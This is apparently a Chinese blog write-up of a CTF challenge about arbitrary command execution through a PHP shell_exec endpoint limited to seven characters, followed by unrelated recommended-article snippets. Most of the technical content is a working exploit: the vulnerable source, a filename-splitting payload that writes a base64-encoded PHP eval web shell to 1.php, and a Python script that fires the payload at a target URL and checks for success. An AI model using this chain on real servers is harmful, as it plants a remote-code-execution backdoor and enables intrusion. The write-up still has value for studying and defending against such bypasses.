7位可控字符下的任意命令执行

题目源码:

<?php

highlight_file(__FILE__);
if(strlen($_GET[1]<7)){
    echo strlen($_GET[1]);
    echo '<hr/>';
    echo shell_exec($_GET[1]);
}else{
    exit('too long');
}

?>

预备知识:

>a    #虽然没有输入但是会创建a这个文件
ls -t    #ls基于基于事件排序(从晚到早)
sh a    #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接    #l\ s    =    ls
base64    #使用base64编码避免特殊字符

写入语句

<?php eval($_GET[1]);

base64编码后

PD9waHAgZXZhbCgkX0dFVFsxXSk7

需要被执行的语句:

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

脚本代码:

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests

url = "http://192.168.61.157/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
	for i in f:
		print("[*]" + url.format(i.strip()))
		requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
	print("[*]Attack success!!!")

版权声明:本文为nzjdsds原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/nzjdsds/article/details/102873187

智能推荐

CentOS 7 执行 yum 命令失败问题的排查方法

简介: 本文主要为大家讲解CentOS 7系统中执行yum命令失败等常见问题的排查方法。 1. 执行yum命令报404错误 1)检查yum仓库是否配置正确,可以到CentOS 镜像下载阿里云repo配置文件。 2)如果报错中包含$releasever变量, 则执行rpm -qa | grep centos-release确认centos-release是否安装。未安装可以执行以下命令下载安装包进行...

Linux笔记【010】| Linux的运行模式与网卡设置

一.Linux的运行模式 单用户、多用户、单任务、多任务。 单用户:是指操作系统一般只能由一个人同时进行登录; 多用户:是指操作系统可以允许多个人同时进行登录; 单任务:是指操作系统只能同时处理一个任务; 多任务:是指操作系统可以同时处理多个任务; Windows属于单用户、多任务的操作系统;(mstsc是windows系统的远程工具) Linux属于多用户、多任务的操作系统; 在Linux中存在...

用navicat连接数据库报错:1130-host ... is not allowed to connect to this MySql server如何处理

    遇到这个问题首先到mysql所在的服务器上用连接进行处理   连接服务器: mysql -u root -p      查看当前所有数据库:show databases;      进入mysql数据库:use mysql;      查看mysql数据库中所有的表:show tables;      查看user表中的数据:select Host, User,Password from ...

登峰造极 题解

一、题目: 二、思路: 首先这题一看就有打暴力的冲动。flood-fill搞一搞,拿到了70分。 那么我们来讲一讲正解。 首先我们将网格图转化成线性图后按高度从大到小排序。然后我们考虑这样两个点\(i,j\),其中i的高度大于j的高度。我们记i能走到的所有点为集合\(S_i\),记j能走到的所有点为集合\(S_j\),那么如果\(S_i\)与\(S_j\)有交集,那么j就一定不可能是“...

Oracle 基础查询梳理

1、简单查询     1.1、简介         简单查询是指查询一张数据表中的所有数据行内容。     1.2、语法     1.3 、实例       &...

猜你喜欢

webpack基本使用

1.webpack下载 (首先先初始化一下package。json ==> npm init -y) npm i webpack webpack-cli -D 2.在根目录下配置webpack.config.js 3.在package.json文件里添加脚本 4.实现自动打包功能 npm i webpack-dev-server -D 修改脚本如3 5.使用html-webpack-plug...

页面加载性能之优化LCP

影响LCP的四个因素如下: 较慢的服务器响应时间 渲染阻塞的js和css 较慢的资源加载时间 客户端渲染 较慢的服务器响应时间 浏览器获取文档的时间越长,用户看到页面的时间也会越长。较快的服务器响应时间,可以直接改善每一个页面加载相关的指标,包括LCP。 可以使用 TTFB(Time to First Byte) 来测试服务器响应时间,你可以通过以下手段来优化 TTFB 这个指标。 优化服务器 使...

8、搭建本地数据库

一、首先下载docket 它是一套环境,与phpstudy类似,当进行数据库连接时,一定要保证两个环境不能冲突,不然连接不上,接口冲突,使用到的命令如下:(目的就是连接数据库验证数据落地) 二、下载sourcetree(将项目推送到git上) a.首先我们需要将我们的项目引入进来 b.使用我们的phpstorm编写我们的测试用例,编写完成打开我们的sourcetree,在文件状态下能查看到我们所做...

微信小程序开发〖一〗开发登录页面

登录页面展示 登录成功页面 未登录页面 通过点击登录按钮进行微信登陆 前端页面 我用了微信小程序的UI组件 iviewweapp 和ColourUI 的css库,需要提前去官网下载并按照指引下载到项目中,不会来call我,我一一指导~~ wxml wxjs .json .wxss...

html初学

常用标签的练习 标题标签<h1~h6> 1.通常情况下h1到h6是从大到小排列,不过并不是因为h1本身比h6大,而是浏览器默认样式中将h1标签默认渲染的更大,而h1和h6大小本身无法比较。使用时更直观的感受是,h1为一级标题,其他标题依次排列,表现为层级关系。且h1到h6标签仅有6个,没有h7…的标签,在使用时可以照常显示但没有意义所以禁用 2.标题显示时,浏览器会默认在...